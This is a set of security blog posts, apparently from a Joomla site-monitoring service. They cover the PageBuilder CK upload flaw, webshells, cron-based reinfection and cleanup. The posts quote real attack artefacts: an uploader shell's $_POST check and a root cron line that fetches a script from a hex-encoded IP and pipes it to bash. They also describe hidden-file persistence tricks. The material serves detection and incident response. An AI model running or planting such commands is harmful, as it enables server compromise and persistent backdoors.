
It is a small uploader shell. The giveaway line is this:

if( $_POST['_upl'] == "Upload" ) {

That is a self-contained file manager: load the shell in a browser and it shows an upload form, then writes whatever you hand it anywhere on the server it can reach. In other words, the attacker used the PageBuilder CK flaw once to plant a permanent door, and from then on did not need the flaw at all. This is the standard pattern: the first upload is a foothold, not the payload.

Two things to take from where this one landed. It sits under /media, not the /images folder people usually watch, which is the whole reason "just lock down /images" does not work against a flaw that lets the attacker pick the folder. And it hides inside gfonts, a plausible-looking subfolder name that blends in with legitimate font assets. If you are checking your own sites by hand, do not just scan the obvious upload directories, and do not assume a folder is safe because its name looks innocent.

What to look for. On any Joomla site that has run PageBuilder CK below 3.6.0, search for stray .php files under /media/com_pagebuilderck/ and its subfolders (we found one in gfonts/), and more broadly for any PHP file containing an upload handler like $_POST['_upl'] anywhere it should not be. Finding the shell means the site was compromised: updating to 3.6.0 closes the flaw but does not remove a door that is already in place. Clean the site properly and rotate your Joomla passwords and secrets.

On connected sites you do not have to go looking by hand. The suspect content tool caught this one automatically, which is exactly how we knew the flaw had gone from theory to active use. Anything it flags in a site's Hacked? section should be treated as a compromise until proven otherwise.

Why "Just Block /images" Is Not Enough

The instinct with an upload flaw is to stop PHP files from running in the upload folder. For a lot of vulnerabilities that is a reasonable stop-gap. Here it is not, because the attacker is not limited to the upload folder. They name the destination in the request, so if you lock down one folder they simply write to another. In our testing the same upload landed and ran in several different directories, and a planted file could just as easily sit among legitimate admin files where you would never think to look for it.

This is why the real answer is the update, or, if you genuinely cannot update for a few hours, blocking the vulnerable request at a web application firewall or reverse proxy so it never reaches the component at all.

Server-level hardening helps, but know what it does and does not do. If you run Akeeba Admin Tools, its .htaccess Maker will not stop the upload itself, because the write happens inside the component, below the level .htaccess sees. What its long generated .htaccess does do is disable PHP execution in a list of directories, so a dropper that lands in one of those folders cannot be run by requesting it directly. That neutralises a good chunk of the risk. The catch is that the Maker deliberately leaves exceptions where PHP genuinely needs to run, and since this flaw lets the attacker choose any folder, those exceptions are exactly where a working shell could still end up. Helpful, then, but not a substitute for the update. A single .htaccess rule scoped to one folder gives an even falser sense of safety against a flaw that can write anywhere.

How to Fix the PageBuilder CK Hack with mySites.guru Easily

Updating is the priority and it is straightforward. In each site's Joomla admin, go to System then Update then Extensions, find PageBuilder CK, and update it to 3.6.0 or newer. If the update does not appear there, download the latest build from joomlack.fr and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your mySites.guru dashboard rather than working through admin panels one by one.

Then check for a break-in, because updating stops the next attempt but does nothing about one that already happened. Look for PHP files that should not exist, and do not only look in the obvious places. Because this flaw lets the attacker choose the folder, a web shell could be sitting in /images, /media, /templates, /administrator, or anywhere else writable. While you are in the Joomla admin, check your Users list for any Super User accounts you do not recognise and remove them. If you find anything, clean the site properly, change your Joomla passwords and secrets, and run a full security audit across the whole site rather than just the file you found. Whoever gets in through one hole usually leaves a second one somewhere quieter.

mySites.guru helps with the detection half too. Its suspect content tool runs on every audit of every connected Joomla site and flags known web shell signatures and files that do not belong. If a site shows a threat in its Hacked? section, treat it as compromised and work through the cleanup.

This Keeps Happening to Joomla Components

PageBuilder CK is not an outlier. It joins a steady run of third-party Joomla component flaws we have written up this year, and several share the exact same shape: an endpoint that should have been locked down, reachable without a login, doing something dangerous. The SP Page Builder zero day from a different vendor was another unauthenticated upload in a page builder, used to plant hidden Joomla admins. The iCagenda zero day was another unauthenticated file upload. The Novarain framework RCE was unauthenticated code execution in a widely-installed extension. The vulnerable JCE editor was, again, a file upload reached without proper checks. And Helix Ultimate 2.2.7 closed the same class of gap in JoomShaper's template framework, where unprotected com_ajax actions allowed an unauthenticated menu write that leads to stored cross-site scripting. Balbooa Forms was another one: its frontend attachment upload accepted a file from anyone with no login and no file-type check, so a .php upload could be run as code.

The thread running through all of them is the one we pulled on at length in AJAX endpoints are a big CMS security blind spot: a front-end endpoint that verifies a CSRF token and then stops checking, never asking whether the person behind the request is logged in or allowed to do what they are asking. PageBuilder CK is a textbook case of it, and the 3.6.0 fix is, in essence, adding the permission check that should have been there all along. When a framework leaves authorization up to each individual extension developer, the same mistake gets made independently, over and over.

Joomla's core team has started closing that gap from their side. The recent updates Joomla 5.4.4 and 6.0.4 hardened the core com_ajax component, which for years let AJAX handlers in the administrator application be called without an authenticated session. From those versions on, Joomla blocks that by default, and a developer who genuinely needs an open handler has to opt in explicitly. It is a deliberate backwards-compatibility break, made because the safe default was worth more than never breaking anything. It will not retroactively fix a component like PageBuilder CK, whose vulnerable code ran on the public site and did its own routing rather than going through core com_ajax, so you still need the 3.6.0 update. But it does mean one large, long-standing version of this mistake is now closed at the source. Keeping your sites on a current Joomla version is part of staying ahead of the next one.

The lesson is not "stop using extensions". Extensions are what make Joomla useful, and PageBuilder CK is genuinely good at its job. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into a foothold. That is the whole reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one finding a strange admin account three weeks later.

The March 2026 Wave That Made the Pattern Obvious

If PageBuilder CK felt like a one-off it would be easy to shrug at. It is not. In a single month, March 2026, at least five separate AJAX and API vulnerabilities landed across Joomla and WordPress, all sharing the same root cause: an endpoint that checks a token but never checks who is calling it. We pulled all five apart in AJAX endpoints are a big CMS security blind spot; here they are at a glance.

Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0). The AJAX endpoint verified a CSRF token but never checked the requester was an administrator. Attackers grabbed the token off the public login page and uploaded backdoors. No login required, and a maximum 10.0 score.
Novarain / Tassos Framework for Joomla (CVE-2026-21627, CVSS 9.5). Fully unauthenticated, no token and no capability check at all. Joomla's com_ajax routed requests to the plugin, which whitelisted file inclusion as a non-admin task, allowing arbitrary PHP inclusion, file deletion and SQL injection.
Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5). The export AJAX actions had a nonce but no capability check, so any subscriber-level user could read arbitrary files off the server, including wp-config.php. Same pattern, different CMS.
Joomla core com_ajax ACL hardening (CVE-2026-21629). The framework that routes every plugin's AJAX requests was itself missing the default authentication check in the admin area, the gap that the 5.4.4 and 6.0.4 updates closed.
Joomla webservice endpoint access bypass (CVE-2026-23899). The webservice API did not properly verify permissions on incoming requests, allowing access to endpoints that should have been restricted. A different mechanism, the same category of failure.

Five in one month, three months before PageBuilder CK joined the list. This is not a run of bad luck. It is a structural weakness in how CMS extensions handle authorization, and it is why "which of my sites run the thing that just got patched" needs to be a question you can answer in seconds, not days.

And these are not just disclosures sitting in a database. The same pattern hit JCE, the single most-installed Joomla editor (CVE-2026-48907), where an unauthenticated editor-profile upload let attackers write arbitrary files. That one was actively exploited: we saw it used in the wild to plant rogue JCE editor profiles and drop webshells into tmp, media, images and the libraries tree, the exact "endpoint reached without a login, then a file written somewhere it can run" shape as PageBuilder CK. We built a dedicated check that finds the JCE rogue profiles and backdoors and cleans them from one screen, because enough sites were hit that "is JCE installed and patched" was no longer the only question worth asking. When a pattern gets weaponised like that, the gap between disclosure and patching is measured in how exposed your sites are, not in how interesting the bug is.

How mySites.guru Makes Urgent 0-Day Updates Like This Painless

A 0-day is a race, and the clock starts the moment the fix goes public. The slow part has never been the update itself, it is everything around it: working out which of your sites even have the affected extension, on what version, and then getting the patch onto all of them before a scanner gets there first. Done by hand across a portfolio of client sites, that is an afternoon of logging into admin panels. By the time you finish the list, the first sites have been exposed for hours.

mySites.guru collapses that race into a few clicks, in three steps.

First, know which sites are affected, in seconds. Every connected site reports the exact version of every installed extension on a twice-daily snapshot. The extension search indexes that data across your whole portfolio and groups it by version, so a question like "which of my sites run PageBuilder CK below 3.6.0" is answered the moment you ask it, not after a day of checking. This is the same index that let us find 8,297 sites running the Novarain Framework within hours of that disclosure.

Second, patch all of them at once. Once you have the list, the mass update tool pushes 3.6.0 to every affected site in a single operation. Whether that is five sites or five hundred, it is one action instead of hundreds. If a site is somehow missing the update in its own admin, you can mass install the extension straight from the dashboard. The full day of manual patching becomes a job you finish over a coffee.

Third, confirm nobody beat you to it. Updating closes the door, but on a fast-moving 0-day you also want to know whether anything got in before you patched. The suspect content tool runs on every audit of every connected Joomla site, flagging web shells and files that do not belong, including in the odd corners this particular flaw can write to.

We have already done two things for this specific flaw. Every connected Joomla site running PageBuilder CK below 3.6.0 is now flagged on the new Important tab, the red triage view that surfaces a site's most urgent problems in one place. It names the component, explains the risk, and links straight to this write-up:

This is no longer hypothetical. The suspect content tool is what caught the first real web shell planted through this flaw, the bhup.php dropper described above. It reads every file in your webspace and flags anything that looks like a backdoor or web shell on its own merits, without us having to handcraft a pattern for this particular attack first. That is the difference between a tool that only knows the threats someone has already written a rule for and one that can catch a shell it has never seen. It does flag broadly, so it is worth knowing how to read a suspect content match versus a confirmed hacked file before you act on what it raises. Now that we are recording sites hit through this flaw, a targeted check that hunts its specific fingerprint is the next step, exactly as we did with the JCE rogue profiles and backdoors tool.

That is the whole point of connecting your sites before the next 0-day rather than after. When it drops, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, start a free month and the index builds itself on the first snapshot.

CVE Record

This vulnerability is now tracked as CVE-2026-56290, published on 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. It scores a CVSS 4.0 base of 10.0, the maximum, and is classified as CWE-284 (Improper Access Control), which is exactly the failure this post describes: an endpoint that checks a token but never checks permission. The official record summarises it as "an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE".

Field	Detail
CVE	CVE-2026-56290
Published	29 June 2026
Component	PageBuilder CK (`com_pagebuilderck`)
Vendor	Cedric Keiflin (joomlack.fr)
Type	Unauthenticated arbitrary file upload to remote code execution
CVSS 4.0	10.0 (critical), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE	CWE-284 (Improper Access Control)
Finder	Phil Taylor, mySites.guru
Affected versions	Up to and including 3.5.10 (current line); older Joomla 3 and Joomla 4 builds below the back-ported patches below
Fixed in	3.6.0 for current Joomla, plus back-ported 3.1.1 (Joomla 3) and 3.4.10 (Joomla 4). All released 27 June 2026

This is a developing story. We published within hours of the fix, and within hours of that we saw it exploited in the wild, with a web shell planted on a connected site through this flaw. It is now tracked as CVE-2026-56290, scored CVSS 10.0, crediting Phil Taylor of mySites.guru as the finder. Right now: update to 3.6.0 on every site that runs PageBuilder CK, watch the Important tab, and check for the `bhup.php` web shell and any other stray PHP under `/media/com_pagebuilderck/`. The suspect content tool is already catching shells like this one.

Reinfected? Check Every Crontab, Not Just Yours

phil@mysites.guru (Phil Taylor) — Sat, 27 Jun 2026 00:00:00 GMT

You cleaned the hacked site. You deleted the webshells and patched the way in. An hour later the malware is back. This is one of the most demoralising patterns in site recovery, and it almost always comes down to the same thing: a scheduled task is quietly putting the malware back, and nobody looked at it.

Sometimes the reason nobody looked is the simplest one. The cron job was sitting in your own account the whole time, and you never opened the Cron Jobs page in cPanel to check, because you did not know it was there or it did not occur to you that a website could have one. Other times you did check, your account's cron was genuinely clean, and the job rebuilding the malware is somewhere your hosting panel will never show you. Both cases end the same way: a site that reinfects on a schedule. Before you can rule either one out, it helps to be clear on what these things actually are, because plenty of otherwise capable agencies are fuzzy on it.

What is a cron job, and what is a crontab?

A cron job is a single scheduled command: a task the server runs automatically on a timetable, like "every five minutes, run this script". Cron is the Linux service that does the running. A WordPress backup plugin firing nightly, a Joomla maintenance task, a script that clears a cache every hour: those are cron jobs. They are completely normal, and every busy server has dozens of legitimate ones.

A crontab (short for "cron table") is the list those jobs live in. It is a plain text file, one job per line, and the key thing to understand is that there is not just one of them on a server. Every user account has its own separate crontab, the system has several of its own, and they all run independently. When you open the Cron Jobs page in cPanel, you are looking at exactly one of those lists: your account's crontab, and nothing else.

That distinction is the whole problem. A malicious cron job is just one extra line added to a crontab. The attacker only has to write it into a list you are not looking at, and the cPanel UI guarantees there are several you cannot look at. A scheduled task that re-plants malware is one of the most effective forms of persistence an attacker has, precisely because the tools you use to clean a site never read any crontab at all. File scanners read files. Database scanners read the database. Neither one reads cron. Sucuri make the point bluntly in their write-up on cron-based reinfection: a malicious cron job survives a full file cleanup and silently re-creates the payload on its next run. So the question is never just "is my cron clean", it is "have I checked every crontab on this server, starting with my own and including the ones my hosting account cannot see".

How mySites.guru caught a reinfection cron rebuilding a webshell

We saw this exact mechanism on a live Joomla server. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (.sys-mta-miud.php) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (.sys_xicyll.php, tucked away in a .cache directory) straight back into place. The leading dots hide the files from a casual directory listing, an innocuous # SYSCHK comment makes the line look like a routine system check, and 2>/dev/null swallows any error. Delete the shell and it is back inside five minutes.

That find is what pushed us to build the check properly. Every snapshot now runs Check For Malicious Cron Jobs, which reads every cron location your site's account is permitted to open, classifies each line, flags entries like this one in red, and lets you delete a single malicious line without touching anything else. It goes wider than your own crontab: where the server allows it, the check also reads the system crontab and the root-owned drop-in and script directories that no hosting panel will ever show you. What it cannot reach is another account's spool file, and on some hosts it cannot read anything at all. How the check works is set out further down, including what it does when the answer is "we could not look". That is the second-wave reinfection problem seen from the cron angle, and it is why monitoring for file changes matters as much as finding the cron itself.

Why your cPanel cron jobs look clean but the site reinfects

Start with your own crontab, because it is the easiest to check and a surprising number of reinfections turn out to be hiding there in plain sight. In cPanel it is under Home, Advanced, Cron Jobs. In Plesk it is Websites & Domains, Scheduled Tasks. If there is a line you do not recognise, especially one that downloads something or copies a file every few minutes, that is very likely your culprit, and you can delete it right there. Do not skip this step on the assumption that the attacker was too sophisticated to use your own account. Often they were not.

If your own crontab is clean, the search has barely started. The cPanel "Cron Jobs" page, and the equivalent "Scheduled Tasks" panel in Plesk, only ever shows you the cron jobs belonging to your own account. That is by design: your account runs as one Linux user, and a normal user can only read and write their own crontab. So when that page comes up empty, what you have actually confirmed is narrow: your account's crontab is clean. You have learned nothing about the rest of the server.

Under the hood, cron jobs live in more places than most site owners realise. Your account's jobs sit in a per-user spool file. On cPanel servers, which are RHEL-family, that is /var/spool/cron/USERNAME. On Debian, Ubuntu and most Plesk installs it is /var/spool/cron/crontabs/USERNAME. Those are the only files your account can touch. Everything else is root-only:

/etc/crontab is the master system crontab. Each line has an extra field naming the user it runs as, so root can schedule a job to run as anyone.
/etc/cron.d/ is a drop-in directory of crontab fragments, also with that user field. This is a favourite hiding spot because a file named php-session or apache-check looks exactly like something a package installed.
/etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ and /etc/cron.monthly/ are directories of executable scripts, not crontab lines, run on the named cadence. A malicious script dropped here runs as root. This is where we found one of the worst backdoors we have ever seen, described below.
Other users' spool files under /var/spool/cron/. Once root is compromised, an attacker can plant a reinfection job in a completely different account's crontab, so cleaning the victim site never evicts it.

None of those appear in any hosting control panel. The only way to change them is a root shell, or WHM on cPanel and Tools & Settings on Plesk. If your site reinfects and your account's cron is clean, that list above is where the cron actually is.

Reading them is a slightly different question from changing them, and that gap is the one our cron check works in. On plenty of servers /etc/crontab and the files under /etc/cron.d/ are world-readable even though only root can write to them, so a connected site can look at the contents without having any power to edit them. That is enough to tell you the reinfection job exists and to hand your host a file path, which is the hard part. It is not universal, and it is not a substitute for root, but "your account cannot fix this" and "your account cannot see this" turn out not to be the same sentence.

How does a single hacked site let attackers write cron outside the account?

It happens through privilege escalation, and on shared hosting it is depressingly routine. The first foothold is usually a webshell running as the limited web-server user, which can only touch one account's files. From there the attacker reaches for a local privilege-escalation exploit: an unpatched kernel flaw, a writable SUID binary, a misconfigured service, or a cross-account symlink attack against world-readable configs. Sucuri documented this path over a decade ago and the conclusion has not changed: once an attacker turns a site compromise into root access, "if there are more websites hosted on the server, it is likely they will attempt to compromise every single one of them".

None of this is a historical curiosity. CageFS on CloudLinux exists specifically to wall each account off from the rest of the server, and it stops the large majority of these escalations, but it is not absolute. CVE-2026-54420, a symlink-handling flaw in the LiteSpeed cPanel plugin disclosed in June 2026 and added to CISA's Known Exploited Vulnerabilities catalog for active exploitation, let a low-privilege user break out of that isolation and reach other accounts' files. So the scenario the site owner experiences as "I cleaned it and it came back" is, underneath, often "the whole server was rooted, and persistence was seeded across accounts I have no visibility into". We have seen exactly this: complete server compromise where the reinfection cron lived entirely outside the victim's own account, untouchable from their panel and invisible to any account-level scan.

The recent run of unauthenticated Joomla zero-days is what put so many sites in this position to begin with. JCE, iCagenda and PageBuilder CK all let an attacker with no login upload and run PHP. That first PHP execution is the foothold, and on a poorly isolated shared server it is the start of the climb to root.

A real backdoor we found in /etc/cron.daily

Here is one we worked recently, and it is the cleanest example of why this matters. A client's site kept reinfecting after every clean. Their own account's cron was empty. The reinfection was coming from a root-level job the attacker had planted in /etc/cron.daily/cpanel_sync, a file named to blend in perfectly with the legitimate cPanel jobs that live in that same directory. Nobody glancing at the server would give cpanel_sync a second look.

The job itself was a single line, deliberately obfuscated:

# curl -sL 0xa59ac734/s | bash

That 0xa59ac734 is not a domain, it is an IP address written in hexadecimal. Decode it and you get 165.154.199.52, an ordinary dotted IP pointing at a server overseas. The line downloads a script from that IP and pipes it straight into bash, so nothing is stored on disk to scan for. What the script does is drop a backdoor named helps.php into practically every folder on every site on the server, then harvest the server's details and domains and report back to the attacker that the box is ready to be hacked again. It runs once a day, as root, forever.

This is the situation a site owner cannot fix and should not try to. As we told the client at the time: until that /etc/cron.daily/cpanel_sync job is removed by someone with server root access, there is no point cleaning the site, because every site on the server gets reinfected the next time it runs. The hack is coming from inside the server. You can delete helps.php from all of your folders, and tomorrow it is back in all of them. The only fix is at the root level, by whoever administers the box, which on a compromised shared server may mean the host itself.

Writing this post is what exposed a gap in our own checker, and that job is why two things changed. Start with the /etc/cron.daily style directories. They hold shell scripts rather than crontab lines, so an early version of the check skipped them entirely: reading a shell script line by line presents set -e and fi to you as though they were scheduled jobs, and stock Debian's own apt-compat script trips an obfuscation rule. Skipping them fixed the noise by giving up the detection, in exactly the directory where we had personally found the worst backdoor we have seen. They are read again now, hourly through monthly, scanned as whole files rather than line by line, so ordinary shell stays invisible and only lines that genuinely classify as suspicious become a row. Then there is 0xa59ac734 itself. A rule that only knew what a dotted IP looked like read that as an unremarkable word, so hexadecimal and plain-integer IPs are both decoded and flagged now, each pinned by its own test.

Why a backup restore does not fix this

The instinct when a site keeps reinfecting is to wipe it and restore a clean backup. It does not work, and the reason is precisely the one this whole post is about.

Warning

A backup restore replaces your files and database. It does not touch the OS-level crontab. If a malicious scheduled task is still in place, anywhere on the server, the freshly restored site reinfects on the cron's next run, often within minutes. Restoring files is not the same as closing every backdoor.

This is the norm, not a rare worst case. In Sucuri's most recent annual hacked-website report, 49.21% of compromised sites contained at least one backdoor, and among sites with database-level malware, 55% had a malicious admin user left behind for re-entry. Malicious cron jobs specifically appeared on 2.14% of compromised sites, which sounds small until you remember it is the subset where the cleanup is guaranteed to fail unless you find the cron. Layered persistence is how these campaigns are designed. Remove one backdoor when the site has three, plus a rogue admin and a cron job in /etc/cron.d, and you have only reset the clock.

Cron is one of three scheduler layers, not all of them

There is a trap even careful admins fall into here. Your root admin checks every crontab on the box, the OS crontab is genuinely clean everywhere, and the site still reinfects. The reason is that "scheduled task" means three different things on a CMS server, and the OS crontab is only one of them.

WordPress has its own scheduler, WP-Cron, whose events are stored in the cron row of the wp_options table, not in any file or OS crontab. Joomla has the direct equivalent in its #__scheduler_tasks table, which is also what can leave Joomla scheduled tasks stuck in a locked state after a crash. Malware can register a malicious event in either one, so a backdoor can re-arm itself entirely from the database while every OS crontab on the server reads clean. That is also why the mass .htaccess reinfection we built a one-click cleaner for can rebuild thousands of files within minutes of deletion: something is scheduled to do it, and that something is not always in the place you looked.

So reinfection hunting has to cover three layers: the OS crontab in all the locations above, the CMS's own scheduler table, and the at and systemd timers a server admin checks. Miss any one and the site comes back.

What mySites.guru checks in cron, and what it cannot

Every snapshot of a connected site now runs a check called Check For Malicious Cron Jobs, on Joomla, WordPress and generic connected sites alike. It is part of the subscription, it runs on its own without being asked, and it reads four kinds of location in order: your account's own crontab, whether that is /var/spool/cron/USERNAME on cPanel and RHEL or /var/spool/cron/crontabs/USERNAME on Debian, Ubuntu and Plesk; the system crontab at /etc/crontab; the drop-in files under /etc/cron.d/; and the /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ and /etc/cron.monthly/ script directories. Everything past the first of those runs as root and is invisible in cPanel and Plesk, which is the whole reason for reading it.

Each line is then classified, and a malicious job is kept separate from one that is merely unusual. Only tells with no innocent explanation in a website's cron mark a site as hacked: downloading something and piping it straight into a shell, decoding an encoded blob and running the result, fetching from a bare IP rather than a hostname, executing a program out of /tmp or /dev/shm, running a hidden dot-prefixed file, making a file executable from cron, clearing the shell history, or running a file already flagged as malware elsewhere on your site. Anything else that just looks odd is reported separately as worth a look and never turns the site red. That balance is deliberate, because a false positive here tells a customer their site is hacked when it is not. Your Joomla scheduler, a WordPress cron trigger, an Akeeba backup, certbot, rsync, mysqldump, a lock file in /tmp and a log redirect all read as normal, because they are.

When a job does classify as malicious, you get an email about it, and you can remove that single line from the audit screen. It only ever deletes one line at a time, only a line it flagged when it showed it to you, and it never adds or edits a cron job. The order matters more than the button does: remove the job first, then clean the files. Clean the files while the job is still scheduled and it will put them straight back.

This check is in beta, and it is not proof that cron is clean

To read your cron jobs we need roughly the permissions an attacker would need to plant one, and plenty of hosts do not grant them. On about one connected site in ten every exec primitive is disabled and the spool files are locked, so we cannot look at all. When that happens the check says so, rather than reporting a clean result. "We read it and it is clean" and "we could not look" are very different answers, and only one of them is good news. Treat this as one more place to look, not as a complete view of everything scheduled on the machine.

Getting that part right mattered more to us than the detection did. The worst thing a cron checker can do is show a green tick to somebody whose server never let it read a single file, and that is a far easier mistake to make than missing a job. Jobs belonging to root, to other accounts on a shared machine, or to the hosting panel itself are frequently outside reach, and rows we can see but have no permission to change are marked read-only so you know to take them to your host. The check also stops deliberately at the operating system: WP-Cron in wp_options and Joomla's #__scheduler_tasks are the other two layers from the section above, and it does not cover them.

Why monitoring beats hunting for the cron after the fact

Finding the cron is reactive, and by definition you only start looking after the reinfection has already happened at least once. The faster signal is the file the cron keeps rewriting. A reinfection job exists to re-create a specific file on a schedule, so the moment that file reappears, something has changed on disk, and a change on disk is detectable even when the cron driving it is in a crontab you cannot read.

That is the principle the mySites.guru audit runs on, and it is why the cron check above is one layer rather than the answer. The cron rows tell you what is scheduled where we are allowed to look; these layers catch the reinfection regardless of where the cron is hiding, including in the crontabs nobody outside root will ever read: uploader and backdoor detection that hunts the dropper class specifically, a "Files Modified Between Audits" check that diffs every file against your last scan, core-file hash verification, and a near-real-time File Watch List that recomputes a watched file's checksum on every page load and emails you the instant its content changes. Add the webshell path the cron keeps rebuilding to that list and you get an alert within moments of each reinfection, which is usually how you discover the cron exists in the first place. The hash list behind it carries more than 14,000 confirmed known-bad files and roughly 1,500 hand-written content patterns, and a hack found on one connected site is checked for on every other site's next audit.

If a site is reinfecting, start with the full hacked-site cleanup process, close the original way in, then treat the cron audit as server-wide, not account-wide, and get root involved. For serious or repeat compromises, professional cleanup will go through every layer. Start a free audit and see what is already scheduled to run on your sites.

Hacked Yesterday, Exploited Today: Why One Cleanup Is Never the End

phil@mysites.guru (Phil Taylor) — Wed, 24 Jun 2026 00:00:00 GMT

Three unauthenticated remote-code-execution zero-days hit Joomla in June 2026, one after another: JCE, SP Page Builder and iCagenda. The patches are out, the scanners have moved on, and a few weeks later it all feels like it has settled down. That calm is the dangerous part. The first wave of attackers has done its job: it got in, dropped its files, and went quiet. Those files are still there, waiting.

This is the part most "my site got hacked" advice gets wrong. A modern compromise is not a single event you clean up and forget. The first wave is reconnaissance and groundwork. It plants dormant uploaders, hidden admin accounts and malicious scheduled tasks that do nothing visible at first. Then the second wave arrives, days or weeks later, and uses that groundwork to plant more backdoors, inject JavaScript into your template files, redirect your homepage to spam, and turn the site to profit. Being hacked yesterday does not mean you are safe today. It usually means the opposite.

That gap between the breach and the damage is exactly where reactive cleanup fails and monitoring earns its place. You cannot clean what you cannot see, and the second wave does not announce itself on the page a browser scanner checks. It changes files on disk, between scans, when nobody is looking. Catching it means watching for those changes continuously, not running one scan after the horse has bolted.

How mySites.guru catches the second wave between two clean-looking scans

A dormant dropper planted in the first wave will not change the homepage your visitors see, so a browser-level scanner that loads your front page finds nothing. What it changes is files on disk. mySites.guru's audit is built around that fact, and the most on-thesis tool in it is called Files Modified Between Audits: it compares every file in this audit against the previous one and flags anything that changed in between. A backdoor that lay quiet through your last clean scan and woke up this week shows up here as a diff, in red, with the note "we highly recommend that you review these files."

Two more checks in the same audit hunt the rest of the second-wave kit. Check Files That Can Attempt To Upload Files looks specifically for the dropper and uploader class of file, the small scripts an attacker leaves behind precisely so they can return and upload more later. Changes To Core Joomla Files Should Be Avoided (and its WordPress equivalent) hashes every core file against the official release, so injected JavaScript or a modified index.php is caught even when the file looks like it belongs.

Note

An audit is a point-in-time snapshot. For the gap between audits, mySites.guru also offers a near-real-time File Watch List: add files like configuration.php, wp-config.php or your template's index.php, and the on-site plugin recomputes their checksum on every page load and emails you the instant the content changes.

The reason this matters is that the audit reads every file on the server, line by line, including the dot-prefixed and oddly-named ones a scanner never opens. During the JCE wave, attackers dropped webshells with .xml.php double extensions into tmp, images and media folders. A scan of your rendered homepage will never find a .xml.php file sitting in /images. A file-level audit that hashes everything will. That is the whole difference between checking what your visitors see and checking what is actually on your server.

Here is what that looks like on a real site, caught in an audit. These are confirmed backdoors, flagged "Hacked File" against a known-bad hash, sitting quietly and waiting:

Look at the dates. One shell, 314a3aeeae46d13e.php in /images/administrator, was planted two weeks ago. The rest, scattered through /media/com_sppagebuilder/assets/iconfont/ as .PHP files and a .htaccess hidden in a fonts folder, landed two days ago. Two separate visits, two waves, both dormant. None of them changed a single thing a visitor would see, which is exactly why an external scanner that only reads your rendered pages walks straight past them. mySites.guru found all six because it audits under the hood: every file, every line.

What does a dormant dropper actually do?

A dropper is a small uploader script that does nothing visible when it is first planted. It waits. When the attacker comes back, it pulls down whatever they want next: a fuller webshell, an SEO spam directory, a credit-card skimmer, a crypto drainer. Uploaders are not a rare exotic. In Sucuri's analysis of website reinfection, the single most common backdoor type found was an uploader, "a PHP script that allows attackers to upload any file that they want." Attackers favour them precisely because they enable the later waves.

This is why the timeline of a compromise looks the way it does. The first wave is fast and quiet. It exploits the vulnerability, plants the dropper, maybe creates a hidden admin account, and leaves. There is often no defacement, no obvious redirect, nothing a casual look at the site would catch. Owners who do notice clean up the one file they found and assume it is over. It is not over. The dropper is still there, and so is whatever else the attacker seeded for persistence.

The WordPress supply-chain backdoor in the Essential Plugin portfolio is the cleanest illustration of the timeline. A buyer acquired the plugins, planted a backdoor in August 2025, and let it sit dormant for eight months before activating it in April 2026 to inject SEO spam and open a remote-code-execution endpoint. Eight months between the plant and the payload. A scan run in, say, December would have shown a perfectly healthy site.

Why does a cleaned site get hacked again within minutes?

A site that keeps getting reinfected almost always comes down to one of four things:

The clean was not complete. The visible malware is the part you are meant to find and remove. Underneath it sits the persistence layer: compromised FTP credentials, dormant droppers and a row of webshells you never spotted. Miss one and the attacker is still inside. This is exactly what a full file-level audit is for: use the mySites.guru tools to find every backdoor, not just the one you tripped over.
The original way in was never closed. Even a perfect clean is pointless if the hole that let them in is still open. If the site was breached through an outdated JCE Editor and you never upgrade it, the attacker simply re-exploits the same unauthenticated vulnerability and walks straight back through the front door, fresh shells in hand. Fixing the symptom without fixing the root entry point is not a fix at all.
A scheduled task is rebuilding the malware for them. Attackers plant cron jobs whose only purpose is to rewrite the payload the moment it disappears, so the site re-infects itself with no second visit required. The catch is that the cron is often not in your own account, so check every crontab on the server, not just yours.
The super admin accounts were never checked. A clean that only touches files ignores the database, where attackers quietly add their own super-user account or promote an existing one. With a valid login they do not need the original vulnerability or a webshell at all: they log straight in and re-plant everything. List every super admin, confirm you recognise each one, and delete the rest.

Points one and two are about being thorough and patching properly, and point four about auditing who can log in. Point three is the one that catches even careful people out, so it is worth seeing in the wild.

We saw exactly this on a live Joomla server this week. A mySites.guru audit surfaced a cron job, running every five minutes, that checks whether a hidden webshell (.sys-mta-miud.php) is still sitting in the public web root and, if it has gone, copies a stashed backup of it (.sys_xicyll.php, tucked away in a .cache directory) straight back into place. The leading dots hide the files from a casual directory listing, the innocuous # SYSCHK comment makes the line look like a routine system check, and 2>/dev/null swallows any error. Delete the shell and it is back inside five minutes.

This is why restoring files alone never finishes the job:

Warning

Even if you restore all your files and database from a clean backup and close all known vulnerabilities, the malicious scheduled tasks will still be there and will reinfect your site in a few minutes. Restoring files is not the same as closing every backdoor.

This is the norm, not a rare worst case. In Sucuri's 2023 hacked-website data, 49.21% of compromised sites contained at least one backdoor, and among sites with database-level malware, 55.2% had a malicious admin user left behind for re-entry. Layered persistence is how these campaigns are designed. Removing one backdoor when the site has three, plus a rogue admin and a cron job, just resets the clock.

The JCE wave is a textbook example of designing for repeat entry. Attackers did not leave a single way back in, they left a row of them. This audit found fourteen rogue editor profiles, all named __pwn_traverse__, each one configured to allow uploading dangerous .php and wildcard files through the editor, plus a machine-generated profile (J144757) matching the attacker's naming pattern. Every one of those profiles is a standing door. Delete the webshell and they walk back through the next profile, upload another, and carry on. That is how a site gets hacked again, and again, and again, long after the first cleanup looked like it worked.

